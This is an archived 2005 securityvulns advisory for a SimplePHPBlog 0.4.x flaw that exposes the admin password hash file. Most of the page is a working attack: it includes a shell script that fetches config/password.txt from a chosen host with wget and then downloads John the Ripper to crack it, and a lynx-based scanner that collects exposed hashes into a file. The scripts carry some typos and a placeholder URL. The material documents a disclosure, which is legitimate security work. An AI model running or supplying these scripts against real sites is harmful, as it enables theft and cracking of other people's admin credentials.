[EXPL] SimplePHPBlog Password Disclosure (Exploit)

Type securityvulns
Reporter Securityvulns
Modified 2005-08-14T00:00:00


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SimplePHPBlog Password Disclosure (Exploit)


<http://www.simplephpblog.com/> SimplePHPBlog - "The main advantage of using <http://www.simplephpblog.com/> Simple PHP Blog is that it only requires PHP 4 (or greater) and write permission on the server."

A vulnerability in SimplePHPBlog allows remote attackers to cause the program to disclose its password hash file.


Vulnerable Systems: * SimplePHPBlog versions 0.4.0 and prior

Vulnerable code: bash-3.00# cat install02.php $result = create_folder( 'config' );

bash-3.00# cat sb_login.php // If there's no password file then need to redirect them. $passFile = 'config/password.txt';

function create_password ( $user, $pass ) { // Generate and store password hash

$mypasswd = $user.$pass; $hashed = crypt($mypasswd);

// Save File $filename = 'config/password.txt'; $result = sb_write_file( $filename, $hashed );

function check_password ( $user, $pass ) { // Check password against hashed password file

$passFile = 'config/password.txt'; $hashed = sb_read_file( $passFile );

bash-3.00# ls -l `pwd` |grep config drwxrwxrwx 2 www-data www-data 216 Jul 7 01:13 config

Exploit: bash-3.00$ cat 0xfuck-phpblog.sh


0xfuck-phpblog.sh - SimplePHPBlog Remote Password Disclosure. (for



This is published proprietary source code of 0xpjply

(C) COPYRIGHT 0xpjply security guru group, 2005

All Rights Reserved

dummy exploit written by pjphem && infected on July 2005


pjphem && LazyCrs

pjphem@mybox.it && fLazyCrs@GMail.com


You think you know? You have no idea!



echo "" echo "" echo " +++++++++++++++++++++++++++++ " echo " =: SimplePHPBlog Remote Password Disclosure. - for dummy :=
" echo " +++++++++++++++++++++++++++++ " echo "" echo " c0de by pjphem " echo "" echo "" echo " vulnerabili Simple php blog 0.4.4 <= " echo "" echo "" echo -n "inserisci un hostname: " ; read hostname ; echo -n "inserisci dir: " ; read dir ; echo "" echo "[] praparando l'ambiente..." mkdir 0xpjply cd 0xpjply echo -t3 "[] OK!" echo "[] Cattura password..." wget http://$hostname/$dir/config/password.txt echo "[] OK!" echo "" echo "" echo "Show password: (md5)" echo "" cat password.txt echo "" rm -rf password.txt echo "" echo -n "Downloading John The Ripper (password decripter) ?? [Y/n] " read Q if [ $Q = y ]; then echo "[] OK!" ; wget [John the RipperURL]/john.tar.gz else exit 1; fi tar -zxf john.tar.gz cd john echo "" echo "[] Dowloading password.." echo "" wget http://$hostname/$dir/config/password.txt echo "" echo "Done!" echo "" echo "STARING John for decript password.. enJoy" /jonh password.txt echo "" echo ""

bash-3.00$ cat 0xfuck-phpblog-scanner.sh


Simple tester for phpblog

phpblog 0.4.4 <=

echo "host , directory blog: (ex. test.it blog)" read HOST BLOG lynx -source http://$HOST/$BLOG/config/password.txt | grep $1$ >> 0wn4bl3 bash-3.00$


The information has been provided by <mailto:pjphem@mybox.it> pjphem.


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